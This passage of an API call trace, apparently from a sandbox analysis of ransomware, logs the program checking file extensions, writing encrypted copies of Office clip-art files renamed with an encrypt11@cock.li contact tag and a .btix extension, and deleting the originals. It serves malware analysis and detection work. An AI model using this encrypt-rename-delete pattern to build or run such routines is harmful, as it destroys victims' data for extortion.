(lpString1=".7z", lpString2="WMF") returned -1 [0157.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0157.090] lstrlenW (lpString=".dbf") returned 4 [0157.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0157.090] lstrlenW (lpString=".1cd") returned 4 [0157.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187861.WMF") returned 68 [0157.090] lstrlenW (lpString=".jpg") returned 4 [0157.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.091] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.091] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.091] GetLastError () returned 0x0 [0157.091] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x834, lpOverlapped=0x0) returned 1 [0157.311] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x840, lpOverlapped=0x0) returned 1 [0157.311] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.311] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.311] SetEndOfFile (hFile=0x36c) returned 1 [0157.500] CloseHandle (hObject=0x36c) returned 1 [0157.500] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.500] SetEndOfFile (hFile=0x39c) returned 1 [0157.500] CloseHandle (hObject=0x39c) returned 1 [0157.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187883.wmf")) returned 1 [0157.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0157.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0157.501] lstrlenW (lpString=".doc") returned 4 [0157.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.501] lstrlenW (lpString=".docx") returned 5 [0157.501] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0157.501] lstrlenW (lpString=".pdf") returned 4 [0157.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.501] lstrlenW (lpString=".xls") returned 4 [0157.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.502] lstrlenW (lpString=".xlsx") returned 5 [0157.502] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0157.502] lstrlenW (lpString=".ppt") returned 4 [0157.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0157.502] lstrlenW (lpString=".zip") returned 4 [0157.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.502] lstrlenW (lpString=".rar") returned 4 [0157.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.502] lstrlenW (lpString=".bz2") returned 4 [0157.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.502] lstrlenW (lpString=".7z") returned 3 [0157.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0157.502] lstrlenW (lpString=".dbf") returned 4 [0157.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0157.502] lstrlenW (lpString=".1cd") returned 4 [0157.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187883.WMF") returned 68 [0157.502] lstrlenW (lpString=".jpg") returned 4 [0157.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.502] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.502] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.503] GetLastError () returned 0x0 [0157.503] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x29dc, lpOverlapped=0x0) returned 1 [0157.505] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x29e0, lpOverlapped=0x0) returned 1 [0157.506] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.507] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.507] SetEndOfFile (hFile=0x36c) returned 1 [0157.507] CloseHandle (hObject=0x36c) returned 1 [0157.507] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.507] SetEndOfFile (hFile=0x39c) returned 1 [0157.508] CloseHandle (hObject=0x39c) returned 1 [0157.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188511.wmf")) returned 1 [0157.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0157.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0157.509] lstrlenW (lpString=".doc") returned 4 [0157.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString=".docx") returned 5 [0157.509] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0157.509] lstrlenW (lpString=".pdf") returned 4 [0157.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.509] lstrlenW (lpString=".xls") returned 4 [0157.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.510] lstrlenW (lpString=".xlsx") returned 5 [0157.510] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0157.510] lstrlenW (lpString=".ppt") returned 4 [0157.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0157.510] lstrlenW (lpString=".zip") returned 4 [0157.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.510] lstrlenW (lpString=".rar") returned 4 [0157.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.510] lstrlenW (lpString=".bz2") returned 4 [0157.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.510] lstrlenW (lpString=".7z") returned 3 [0157.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0157.510] lstrlenW (lpString=".dbf") returned 4 [0157.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0157.510] lstrlenW (lpString=".1cd") returned 4 [0157.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188511.WMF") returned 68 [0157.510] lstrlenW (lpString=".jpg") returned 4 [0157.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.511] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.511] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.511] GetLastError () returned 0x0 [0157.511] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3004, lpOverlapped=0x0) returned 1 [0157.523] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3010, lpOverlapped=0x0) returned 1 [0157.524] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.524] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.524] SetEndOfFile (hFile=0x36c) returned 1 [0157.528] CloseHandle (hObject=0x36c) returned 1 [0157.555] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.555] SetEndOfFile (hFile=0x39c) returned 1 [0157.556] CloseHandle (hObject=0x39c) returned 1 [0157.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 1 [0157.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0157.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0157.556] lstrlenW (lpString=".doc") returned 4 [0157.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.556] lstrlenW (lpString=".docx") returned 5 [0157.556] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0157.556] lstrlenW (lpString=".pdf") returned 4 [0157.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.557] lstrlenW (lpString=".xls") returned 4 [0157.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.557] lstrlenW (lpString=".xlsx") returned 5 [0157.557] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0157.557] lstrlenW (lpString=".ppt") returned 4 [0157.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0157.557] lstrlenW (lpString=".zip") returned 4 [0157.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.557] lstrlenW (lpString=".rar") returned 4 [0157.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.557] lstrlenW (lpString=".bz2") returned 4 [0157.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.557] lstrlenW (lpString=".7z") returned 3 [0157.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0157.557] lstrlenW (lpString=".dbf") returned 4 [0157.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0157.557] lstrlenW (lpString=".1cd") returned 4 [0157.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0157.557] lstrlenW (lpString=".jpg") returned 4 [0157.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.562] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.562] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0157.563] GetLastError () returned 0x0 [0157.563] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x11b6, lpOverlapped=0x0) returned 1 [0157.573] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x11c0, lpOverlapped=0x0) returned 1 [0157.574] ReadFile (in: hFile=0x368, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.574] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.574] SetEndOfFile (hFile=0x354) returned 1 [0157.578] CloseHandle (hObject=0x354) returned 1 [0157.590] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.590] SetEndOfFile (hFile=0x368) returned 1 [0157.590] CloseHandle (hObject=0x368) returned 1 [0157.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf")) returned 1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0157.592] lstrlenW (lpString=".doc") returned 4 [0157.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.592] lstrlenW (lpString=".docx") returned 5 [0157.592] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.592] lstrlenW (lpString=".pdf") returned 4 [0157.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.592] lstrlenW (lpString=".xls") returned 4 [0157.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.592] lstrlenW (lpString=".xlsx") returned 5 [0157.592] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.592] lstrlenW (lpString=".ppt") returned 4 [0157.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0157.592] lstrlenW (lpString=".zip") returned 4 [0157.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.592] lstrlenW (lpString=".rar") returned 4 [0157.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.592] lstrlenW (lpString=".bz2") returned 4 [0157.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.592] lstrlenW (lpString=".7z") returned 3 [0157.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0157.592] lstrlenW (lpString=".dbf") returned 4 [0157.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0157.592] lstrlenW (lpString=".1cd") returned 4 [0157.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0157.592] lstrlenW (lpString=".jpg") returned 4 [0157.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.597] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.597] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0157.602] GetLastError () returned 0x0 [0157.602] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x48be, lpOverlapped=0x0) returned 1 [0157.605] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x48c0, lpOverlapped=0x0) returned 1 [0157.606] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.606] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.606] SetEndOfFile (hFile=0x368) returned 1 [0157.608] CloseHandle (hObject=0x368) returned 1 [0157.608] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.608] SetEndOfFile (hFile=0x378) returned 1 [0157.609] CloseHandle (hObject=0x378) returned 1 [0157.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195428.wmf")) returned 1 [0157.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0157.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0157.611] lstrlenW (lpString=".doc") returned 4 [0157.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.612] lstrlenW (lpString=".docx") returned 5 [0157.612] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0157.612] lstrlenW (lpString=".pdf") returned 4 [0157.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.612] lstrlenW (lpString=".xls") returned 4 [0157.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.612] lstrlenW (lpString=".xlsx") returned 5 [0157.612] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0157.612] lstrlenW (lpString=".ppt") returned 4 [0157.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0157.612] lstrlenW (lpString=".zip") returned 4 [0157.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.612] lstrlenW (lpString=".rar") returned 4 [0157.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.612] lstrlenW (lpString=".bz2") returned 4 [0157.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.612] lstrlenW (lpString=".7z") returned 3 [0157.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0157.612] lstrlenW (lpString=".dbf") returned 4 [0157.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0157.612] lstrlenW (lpString=".1cd") returned 4 [0157.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195428.WMF") returned 68 [0157.612] lstrlenW (lpString=".jpg") returned 4 [0157.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.615] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.615] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195788.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195788.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0157.616] GetLastError () returned 0x0 [0157.616] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xbbc, lpOverlapped=0x0) returned 1 [0157.618] WriteFile (in: hFile=0x378, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0157.619] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: 